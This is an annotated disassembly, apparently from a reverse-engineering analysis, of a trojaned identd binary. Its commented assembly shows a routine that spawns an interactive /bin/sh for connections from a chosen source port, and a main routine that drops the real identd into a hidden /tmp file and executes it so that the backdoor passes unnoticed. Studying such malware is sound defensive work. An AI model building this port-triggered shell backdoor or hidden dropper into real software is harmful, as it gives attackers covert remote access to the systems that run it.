080485d0 <envoye_don_le_trojan>:
 80485d0:	55                   	push   %ebp  					
 80485d1:	89 e5                	mov    %esp,%ebp
 80485d3:	83 ec 14             	sub    $0x14,%esp				allocate space
 80485d6:	c7 45 ec 10 00 00 00 	movl   $0x10,0xffffffec(%ebp)			socklen = 16
 80485dd:	8d 45 ec             	lea    0xffffffec(%ebp),%eax
 80485e0:	50                   	push   %eax					push &socklen
 80485e1:	8d 45 f0             	lea    0xfffffff0(%ebp),%eax
 80485e4:	50                   	push   %eax					push &name
 80485e5:	6a 00                	push   $0x0					push 0
 80485e7:	e8 d8 fe ff ff       	call   80484c4 <_init+0xc0>			getpeername (0, &name, &socklen);
 80485ec:	83 c4 0c             	add    $0xc,%esp 				clean up stack
 80485ef:	85 c0                	test   %eax,%eax 				if (<getpeername failed>)
 80485f1:	75 2f                	jne    8048622 <envoye_don_le_trojan+0x52>		goto return
 80485f3:	66 83 7d f0 02       	cmpw   $0x2,0xfffffff0(%ebp)			if (name.sin_family != AF_INET)
 80485f8:	75 28                	jne    8048622 <envoye_don_le_trojan+0x52>		goto return
 80485fa:	66 8b 45 f2          	mov    0xfffffff2(%ebp),%ax			%ax = name.sin_proto
 80485fe:	66 c1 c8 08          	ror    $0x8,%ax					ntoh
 8048602:	66 05 a9 3f          	add    $0x3fa9,%ax				%ax += 16297
 8048606:	66 83 f8 01          	cmp    $0x1,%ax					if (%ax > 1)
 804860a:	77 16                	ja     8048622 <envoye_don_le_trojan+0x52>		return
 804860c:	6a 00                	push   $0x0					push NULL
 804860e:	68 40 87 04 08       	push   $0x8048740				push "-i"
 8048613:	68 43 87 04 08       	push   $0x8048743				push "sh"
 8048618:	68 46 87 04 08       	push   $0x8048746				push "/bin/sh"
 804861d:	e8 22 fe ff ff       	call   8048444 <_init+0x40>			execl ("/bin/sh", "sh", "-i", NULL)
return:
 8048622:	c9                   	leave  
 8048623:	c3                   	ret    



08048624 <main>:
 8048624:	55                   	push   %ebp					
 8048625:	89 e5                	mov    %esp,%ebp
 8048627:	83 ec 58             	sub    $0x58,%esp				allocate space
 804862a:	57                   	push   %edi					save some registers
 804862b:	56                   	push   %esi
 804862c:	53                   	push   %ebx
 804862d:	8b 7d 10             	mov    0x10(%ebp),%edi				
 8048630:	57                   	push   %edi					push envp
 8048631:	8b 55 0c             	mov    0xc(%ebp),%edx
 8048634:	52                   	push   %edx					push argv
 8048635:	e8 96 ff ff ff       	call   80485d0 <envoye_don_le_trojan>		envoye_don_le_trojan (argv, envp)
 804863a:	8d 45 a8             	lea    0xffffffa8(%ebp),%eax			load &sb to %eax		      [struct stat sb]
 804863d:	83 c4 08             	add    $0x8,%esp				clean up stack
 8048640:	50                   	push   %eax					push &sb
 8048641:	68 4e 87 04 08       	push   $0x804874e				push "/tmp/.fileMeYV0p"
 8048646:	6a 03                	push   $0x3					push 3
 8048648:	e8 67 fe ff ff       	call   80484b4 <_init+0xb0>			__xstat (3, "/tmp/.fileMeYV0p", &sb)  [ stat ("/tmp/.fileMeYV0p", &sb) ]
 804864d:	89 c3                	mov    %eax,%ebx				store result
 804864f:	83 c4 0c             	add    $0xc,%esp				clean up stack
 8048652:	83 fb ff             	cmp    $0xffffffff,%ebx				if (result != -1)
 8048655:	75 62                	jne    80486b9 <main+0x95>				goto stat_failed
 8048657:	68 5f 87 04 08       	push   $0x804875f				push "w"
 804865c:	68 4e 87 04 08       	push   $0x804874e				push "/tmp/.fileMeYV0p"
 8048661:	e8 9e fe ff ff       	call   8048504 <_init+0x100>			FILE *fp = fopen ("/tmp/.fileMeYV0p", "w")
 8048666:	89 c6                	mov    %eax,%esi				%esi = fp
 8048668:	83 c4 08             	add    $0x8,%esp				clean up stack
 804866b:	85 f6                	test   %esi,%esi				if (fp != NULL)
 804866d:	75 11                	jne    8048680 <main+0x5c>				goto fopen_successful
 804866f:	68 61 87 04 08       	push   $0x8048761				push "open exec file"
 8048674:	e8 eb fd ff ff       	call   8048464 <_init+0x60>			perror ("open exec file")
 8048679:	53                   	push   %ebx					push -1
 804867a:	e8 75 fe ff ff       	call   80484f4 <_init+0xf0>			exit (-1)
 804867f:	90                   	nop
fopen_successful:
 8048680:	31 db                	xor    %ebx,%ebx				register int i = 0  	[%ebx]
start_loop:
 8048682:	0f b6 83 b2 97 04 08 	movzbl 0x80497b2(%ebx),%eax			
 8048689:	50                   	push   %eax					push real_identd_code[i]
 804868a:	68 70 87 04 08       	push   $0x8048770				push "%c"
 804868f:	56                   	push   %esi					push fp
 8048690:	e8 df fd ff ff       	call   8048474 <_init+0x70>			fprintf (fp, "%c", real_identd_code[i])
 8048695:	83 c4 0c             	add    $0xc,%esp				clean up stack
 8048698:	43                   	inc    %ebx					i++
 8048699:	81 fb 9c 8f 00 00    	cmp    $0x8f9c,%ebx				if (i <= 0x8f9c)
 804869f:	7e e1                	jle    8048682 <main+0x5e>			goto start_loop
 80486a1:	56                   	push   %esi					push fp
 80486a2:	e8 3d fe ff ff       	call   80484e4 <_init+0xe0>			fclose (fp)
 80486a7:	68 c0 01 00 00       	push   $0x1c0					push 0700
 80486ac:	68 4e 87 04 08       	push   $0x804874e				push "/tmp/.fileMeYV0p"
 80486b1:	e8 de fd ff ff       	call   8048494 <_init+0x90>			chmod ("/tmp/.fileMeYV0p", 0700)
 80486b6:	83 c4 0c             	add    $0xc,%esp				clean up stack
stat_failed:
 80486b9:	57                   	push   %edi					push envp					
 80486ba:	8b 55 0c             	mov    0xc(%ebp),%edx
 80486bd:	52                   	push   %edx					push argv
 80486be:	68 4e 87 04 08       	push   $0x804874e				push "/tmp/.fileMeYV0p"
 80486c3:	e8 bc fd ff ff       	call   8048484 <_init+0x80>			int rv = execve ("/tmp/.fileMeYV0p", argv, envp)
 80486c8:	83 c4 0c             	add    $0xc,%esp				clean up stack
 80486cb:	83 f8 ff             	cmp    $0xffffffff,%eax				if (rv != -1)
 80486ce:	75 0a                	jne    80486da <main+0xb6>				goto exec_successful;
 80486d0:	68 73 87 04 08       	push   $0x8048773				push "execute program"
 80486d5:	e8 8a fd ff ff       	call   8048464 <_init+0x60>			perror ("execute program")
exec_successful:
 80486da:	8d 65 9c             	lea    0xffffff9c(%ebp),%esp			fix stack pointer
 80486dd:	5b                   	pop    %ebx					restore registers
 80486de:	5e                   	pop    %esi
 80486df:	5f                   	pop    %edi
 80486e0:	c9                   	leave  						leave the program
 80486e1:	c3                   	ret    
